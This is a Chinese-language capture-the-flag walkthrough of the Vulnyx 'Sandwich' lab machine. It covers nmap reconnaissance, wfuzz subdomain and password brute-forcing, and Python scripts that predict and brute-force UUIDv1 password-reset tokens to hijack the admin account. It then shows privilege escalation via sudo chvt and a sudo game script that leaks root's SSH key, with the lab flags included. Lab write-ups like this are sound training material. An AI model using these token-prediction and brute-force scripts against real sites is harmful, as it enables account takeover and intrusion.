Shadwich

https://vulnyx.com/ | Difficulty: Medium

前期踩点

nmap 端口扫描

➜  Sandwich nmap -sP 192.168.56.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-13 21:34 EDT
Nmap scan report for 192.168.56.1
Host is up (0.00063s latency).
MAC Address: 0A:00:27:00:00:09 (Unknown)
Nmap scan report for 192.168.56.2
Host is up (0.00034s latency).
MAC Address: 08:00:27:F9:79:E9 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.60
Host is up (0.00046s latency).
MAC Address: 08:00:27:06:F4:3F (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.96 seconds

➜  Sandwich nmap -sT -min-rate 10000 -p- 192.168.56.60
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-13 21:35 EDT
Nmap scan report for 192.168.56.60
Host is up (0.00066s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:06:F4:3F (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 5.88 seconds

➜  Sandwich nmap -sT -A -T4 -O -p 22,80 192.168.56.60 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-13 21:36 EDT
Nmap scan report for 192.168.56.60
Host is up (0.00060s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:06:F4:3F (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.60 ms 192.168.56.60

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 238.63 seconds

Web 渗透

信息收集

访问 HTTP 采集指纹，将 Sandwich.nyx 添加到 hosts

提供了注册，登录，忘记密码功能

// register

email=admin@sandwich.nyx&password=Aa118811&register_action=1

// login 

email=admin@sandwich.nyx&password=1212&login_action=1

//reset

email=sunset@sandwich.nyx&reset_action=1

注册必须使用 sandwich.nyx 作为域名，但是注册用户提示：Email is not recognized in the mail system.

爆破子域名

➜  Sandwich wfuzz -c -w ../../Dict/SecLists-2024.3/Discovery/DNS/subdomains-top1million-110000.txt -u http://sandwich.nyx -H 'host:FUZZ.sandwich.nyx' --hl=225
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://sandwich.nyx/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload  
=====================================================================

000000005:   302        0 L      0 W        0 Ch        "webmail - webmail"  
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 6.854331
Processed Requests: 74
Filtered Requests: 73
Requests/sec.: 10.79609

将 webmail 添加到 hosts 中，并访问

webmail 中的注册是可以正常注册的了，这里创建了 sunset@**s**andwich.nyx

后台可以发送信息以及退出登录

回到主页测试一下重置密码功能（这里权重最高的），注意：这里回到主页后还要重新在主页注册一次

密码重置测试

输入邮箱后提示将重置连接发送到邮箱里

查看邮箱

我们多使用几次重置密码功能

这里就可以看出猫腻来了，两个 Token 只有第一部分是不一样的

token=8dd7bb4e-3082-11f0-8069-08002706f43f
token=40520e24-3082-11f0-8069-08002706f43f

我们重新创建一个用户，再看一下其 Cookie

token=0ad5f4e8-308e-11f0-8069-08002706f43f

确实是只有的一部分是有用的，短时间内使用三次密码重置，前一部分分别为：

78c0f144,78bf4420,78bd454e

明显是递归增长的，那么假如我们第二个数据包请求admin账户的密码重置，那么范围就一定在第一和第三个数据包的范围中，写脚本来进行爆破

密码重置利用

编写脚本来获取范围

import requests

url = 'http://sandwich.nyx/index.php'

normal_data = {
    'email':'a@sandwich.nyx',
    'reset_action':1
}
admin_data = {
    'email':'admin@sandwich.nyx',
    'reset_action':1
}

header = {
    'Cookie':'PHPSESSID=ijkgvh1461gbpdg47l5c57nup5'
}

response = requests.post(url, data=normal_data,headers=header)
print(response.status_code,1)
response = requests.post(url, data=admin_data,headers=header)
print(response.status_code,2)
response = requests.post(url, data=normal_data,headers=header)
print(response.status_code,3)

得到范围

c4757516，c4722f6e

根据范围循环生成 Token 请求重置密码

import requests

url = 'http://sandwich.nyx/resetpassword.php'

start_hex = 'c4722f6e'
end_hex = 'c4757516'
start = int(start_hex,16)
end = int(end_hex,16)
num = 1

for i in range(start,end):
    data = {
        'token' : f'{hex(i)[2:]}-308e-11f0-8069-08002706f43f',
        'new_password' : 'admin',
        'confirm_password' : 'admin'
    }

    headers = {
        'Cookie': 'PHPSESSID=s34jdcq4b9d9hl7v8dgsa8rha1'
    }

    response = requests.post(url, data=data, headers=headers)
    if 'successfully' in response.text:
        break
    print(response.status_code,num)
    num = num + 1

也可以使用 wfuzz，用范围生成字典

wfuzz -c -w dict.txt -u http://sandwich.nyx/resetpassword.php -H 'Cookie: PHPSESSID=ijkgvh1461gbpdg47l5c57nup5' -d 'token=FUZZ-3093-11f0-8069-08002706f43f&new_password=admin&confirm_password=admin' --hh=420

如何使用 admin 作为密码进行登录

后台可以下载一份CSV文件

密码爆破

前面主页已经拿到了admin账户，现在这些用户应该是在webmail中使用的

➜  Sandwich wfuzz -c -w ../../Dict/SecLists-2024.3/Passwords/xato-net-10-million-passwords-10000.txt -u http://webmail.sandwich.nyx/login.php -X POST -d 'email=matthygd_x@sandwich.nyx&password=FUZZ' --sc=302
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://webmail.sandwich.nyx/login.php
Total requests: 10001

=====================================================================
ID           Response   Lines    Word       Chars       Payload   
=====================================================================

000000001:   302        0 L      0 W        0 Ch        "qweasd"

登陆进去后拿到一串密码对

matthygd_xy:tGCD9XIP03IHpSCDdoRu

SSH 可以使用该凭据登陆进去

➜  Sandwich ssh matthygd_xy@192.168.56.60   
The authenticity of host '192.168.56.60 (192.168.56.60)' can't be established.
ED25519 key fingerprint is SHA256:c8erXE4AHVkShqJ2nmaoh+8C3ZBq0gRr5iBxLnGVt9k.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.56.60' (ED25519) to the list of known hosts.
matthygd_xy@192.168.56.60's password: 
Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 30 19:35:02 2025 from 192.168.1.181
matthygd_xy@sandwich:~$

提权 - To ll104567

家目录下 user.txt

matthygd_xy@sandwich:~$ cat user.txt 
c158efefab9bfd356fa8e9ec3c440da1

查看sudo 权限

matthygd_xy@sandwich:~$ sudo -l
Matching Defaults entries for matthygd_xy on sandwich:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User matthygd_xy may run the following commands on sandwich:
    (root) NOPASSWD: /bin/chvt

chvt命令允许用户直接从一个VT切换到另一个VT（虚拟控制台）

查看/dev 目录中的设备文件

查看当前用户登录用户所在 tty

matthygd_xy@sandwich:~$ who
ll104567 tty20        2025-05-14 03:31
matthygd_xy pts/0        2025-05-14 11:41 (192.168.56.4)

能看到用户ll104567在tty20 ，切换到 20

matthygd_xy@sandwich:~$ sudo /bin/chvt 20

切换后在靶机页面就跳转到 ll104567 的shell 了

直接进行反弹 shell ，它的键盘映射太难受了

提权 - To Root

查看 sudo 权限

ll104567@sandwich:~$ sudo -l
Matching Defaults entries for ll104567 on sandwich:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User ll104567 may run the following commands on sandwich:
    (ALL) NOPASSWD: /opt/game.sh

ll104567@sandwich:~$ ls -al /opt/game.sh 
-rwxr-xr-x 1 root root 1147 mar 30 19:49 /opt/game.sh

是一个猜数游戏

#!/bin/bash                    
                                                                                                                  
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
                                                         
MAX=2000000
                                                                                                                  
ATTEMPTS=$(/usr/bin/awk -v max="$MAX" 'BEGIN {printf "%d", (log(max)/log(2) + 0.999999)}')
                                                         
/bin/echo "Hello! What is your name?"
read NAME

NUMBER=$(( ( RANDOM % MAX ) + 1 ))

/bin/echo "Well, $NAME, I'm thinking of a number between 1 and $MAX."
/bin/echo "You have $ATTEMPTS attempts to guess it."

ATTEMPTS_MADE=0

SECRET_FILE="/root/.ssh/id_rsa"

while [ $ATTEMPTS_MADE -lt $ATTEMPTS ]; do
  /bin/echo "Try to guess:"
  read GUESS

  # Validate that the input is a valid number
  if ! [[ "$GUESS" =~ ^[0-9]+$ ]]; then
    /bin/echo "Please, enter a valid number."
    continue
  fi

  ATTEMPTS_MADE=$((ATTEMPTS_MADE + 1))

  if [ $GUESS -lt $NUMBER ]; then
    /bin/echo "Your guess is too low."
  elif [ $GUESS -gt $NUMBER ]; then
    /bin/echo "Your guess is too high."
  else
    break
  fi
done

if [ $GUESS -eq $NUMBER ]; then
  /bin/echo "Good job, $NAME! You guessed my number in $ATTEMPTS_MADE attempts!"
  /bin/echo "Here's your reward:"
  /bin/cat "$SECRET_FILE"
else
  /bin/echo "No, the number I was thinking of was $NUMBER."
fi

硬刚

这个是 root 的私钥，直接利用即可

➜  Sandwich ssh root@192.168.56.60 -i id_rsa 
Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 30 20:14:35 2025 from 192.168.1.181
root@sandwich:~#

root.txt

root@sandwich:~# cat root.txt 
a4e728e6ffc502beea7570a75348af44

Vulnyx - Shadwich